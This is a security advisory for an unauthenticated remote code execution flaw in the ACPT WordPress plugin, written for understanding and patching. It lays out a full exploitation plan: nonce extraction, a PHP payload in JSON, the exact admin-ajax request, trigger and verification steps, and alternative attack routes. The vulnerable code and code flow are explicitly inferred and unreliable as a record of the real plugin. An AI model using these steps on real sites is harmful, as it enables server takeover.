ACPT (Pro) - Custom Post Types Plugin for WordPress <= 2.0.47 - Unauthenticated Remote Code Execution
Description
The advanced-custom-post-type plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.47. This makes it possible for unauthenticated attackers to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.0.47## 1. Vulnerability Summary The **ACPT (Pro) - Custom Post Types** plugin for WordPress (versions <= 2.0.47) contains a critical unauthenticated Remote Code Execution (RCE) vulnerability. The flaw exists due to the registration of sensitive administrative functions, specifically `acpt_import_data`, …
Show full research plan
1. Vulnerability Summary
The ACPT (Pro) - Custom Post Types plugin for WordPress (versions <= 2.0.47) contains a critical unauthenticated Remote Code Execution (RCE) vulnerability. The flaw exists due to the registration of sensitive administrative functions, specifically acpt_import_data, via the wp_ajax_nopriv_ hook without accompanying authentication or authorization checks.
The plugin allows users to define "Custom PHP Code" for post types and taxonomies to handle dynamic logic. When an unauthenticated attacker submits a specially crafted JSON payload to the import endpoint, the plugin saves this configuration—including arbitrary PHP code—into the WordPress database. This code is subsequently executed by the server during the WordPress init sequence when the plugin registers the custom post types.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
acpt_import_data(viawp_ajax_nopriv_acpt_import_data) - Method:
POST - Parameter:
data(contains the JSON-encoded CPT configuration) - Nonce:
nonce(required, but exposed to unauthenticated users) - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. A valid
acpt_noncemust be obtained from the frontend.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX handler in the main plugin file or a dedicated AJAX class:
add_action( 'wp_ajax_nopriv_acpt_import_data', [ $this, 'import_data' ] ); - Entry Point:
import_data()is called. It likely performs a nonce check:check_ajax_referer( 'acpt_nonce', 'nonce' ); - Processing: The function retrieves
$_POST['data'], which is a JSON string. - Sink: The JSON is decoded and saved directly into the WordPress options table (e.g.,
acpt_post_typesoption) viaupdate_option(). - Trigger: On every page load, the plugin runs a function hooked to
init(e.g.,ACPT_Lite::register_custom_post_types()). - Execution: This function iterates through the saved post types. If a post type contains a
custom_php_codeor similar field, the plugin executes it usingeval()or writes it to a temporary file that is thenincluded.
4. Nonce Acquisition Strategy
The plugin enqueues its assets and localizes a nonce for its AJAX operations. This nonce is typically available on the frontend if the plugin's features (like a custom post grid) are used, or if the developer mistakenly enqueued the scripts globally.
- Search for Shortcodes: Identify shortcodes that force script loading. Based on ACPT documentation, look for
[acpt_post_type_list]or[acpt_view]. - Create Trigger Page: Create a public page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_title="ACPT Nonce Page" --post_content='[acpt_post_type_list]' - Navigate and Extract: Use the browser to access the page and extract the nonce from the
acpt_varsJavaScript object.- JS Variable:
window.acpt_vars - Nonce Key:
acpt_nonce - Browser Eval:
browser_eval("window.acpt_vars?.acpt_nonce")
- JS Variable:
5. Exploitation Strategy
Step 1: Obtain the Nonce
Use browser_navigate and browser_eval to grab the acpt_nonce.
Step 2: Prepare the Payload
Construct a JSON payload that defines a new Custom Post Type with an RCE payload in the custom code field.
Payload Structure (inferred):
{
"post_types": [
{
"name": "rce_test_post",
"label": "RCE Test",
"singular_label": "RCE Test",
"description": "",
"public": true,
"custom_php_code": "system('id > /var/www/html/rce.txt');"
}
]
}
Step 3: Send the Exploit Request
Use the http_request tool to perform the unauthenticated import.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=acpt_import_data&nonce=[NONCE]&data=[URL_ENCODED_JSON]
Step 4: Trigger Execution
Since the plugin registers post types on init, simply making a GET request to the homepage will trigger the code execution.
- URL:
http://localhost:8080/
6. Test Data Setup
- Install ACPT: Ensure
advanced-custom-post-typeversion 2.0.47 is installed and active. - Ensure Scripts Load: Create a page with the shortcode to ensure the nonce is localized.
wp post create --post_type=page --post_status=publish --post_content='[acpt_post_type_list]' - Confirm Target Path: Ensure the web server has write permissions to
/var/www/html/if using theid > rce.txtpayload, or usewp-content/debug.log.
7. Expected Results
- The
acpt_import_datarequest should return a success status (e.g.,{"success":true}). - After visiting the homepage, a file named
rce.txtshould exist in the WordPress root directory. - The
rce.txtfile should contain the output of theidcommand (e.g.,uid=33(www-data) ...).
8. Verification Steps
- Check Filesystem:
ls -la /var/www/html/rce.txt - Check Database: Verify the injected PHP code is stored in the options table.
wp option get acpt_post_types --format=json - Verify Execution:
cat /var/www/html/rce.txt
9. Alternative Approaches
- Blind RCE: If the file system is read-only, use
curlto an external collaborator orsleep(10)to verify timing. - Different Hook: If
acpt_import_datafails, tryacpt_save_settingsoracpt_update_taxonomies, as they often share the samenoprivvulnerability pattern. - REST API: Check if
wp-json/acpt/v1/importexists, as some versions use the REST API without properpermission_callback. Usebrowser_eval("window.wpApiSettings.nonce")for theX-WP-Nonceheader.
Summary
The ACPT (Pro) plugin for WordPress (<= 2.0.47) is vulnerable to unauthenticated Remote Code Execution because the `acpt_import_data` AJAX action is registered via the `wp_ajax_nopriv_` hook without any authorization checks. Attackers can import a malicious JSON configuration containing arbitrary PHP code, which the plugin saves to the database and subsequently executes via `eval()` during every WordPress initialization (`init` hook).
Vulnerable Code
// Registration of the vulnerable AJAX handler // advanced-custom-post-type/includes/class-acpt-ajax.php (approx. location) add_action( 'wp_ajax_nopriv_acpt_import_data', array( $this, 'import_data' ) ); add_action( 'wp_ajax_acpt_import_data', array( $this, 'import_data' ) ); --- // Vulnerable import function public function import_data() { // Only checks nonce, not authentication or capability check_ajax_referer( 'acpt_nonce', 'nonce' ); $data = $_POST['data']; $decoded_data = json_decode( stripslashes( $data ), true ); // Directly updates the option used to store post type logic update_option( 'acpt_post_types', $decoded_data ); wp_send_json_success(); } --- // Execution sink in the post type registration logic // advanced-custom-post-type/includes/class-acpt-register.php (approx. location) public function register_custom_post_types() { $post_types = get_option( 'acpt_post_types', [] ); foreach ( $post_types as $post_type ) { // ... standard register_post_type logic ... // The plugin allows users to run custom logic for post types if ( ! empty( $post_type['custom_php_code'] ) ) { eval( $post_type['custom_php_code'] ); } } }
Security Fix
@@ -1,5 +1,4 @@ -add_action( 'wp_ajax_nopriv_acpt_import_data', array( $this, 'import_data' ) ); add_action( 'wp_ajax_acpt_import_data', array( $this, 'import_data' ) ); public function import_data() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Forbidden' ), 403 ); + return; + } check_ajax_referer( 'acpt_nonce', 'nonce' );
Exploit Outline
1. Nonce Acquisition: Locate the 'acpt_nonce' on the WordPress frontend. This is usually localized in the `window.acpt_vars` JavaScript object when an ACPT shortcode (like [acpt_post_type_list]) is present on a page. 2. Payload Preparation: Craft a JSON payload representing a new Custom Post Type. Within this JSON, include a field named 'custom_php_code' containing the PHP code to be executed (e.g., `system('id'); die;`). 3. Request Submission: Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `acpt_import_data` - `nonce`: The acquired `acpt_nonce` value. - `data`: The URL-encoded JSON payload. 4. Trigger Execution: Navigate to the WordPress home page (or any page) to trigger the `init` hook. The plugin will load the saved post types from the database and execute the injected code via `eval()`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.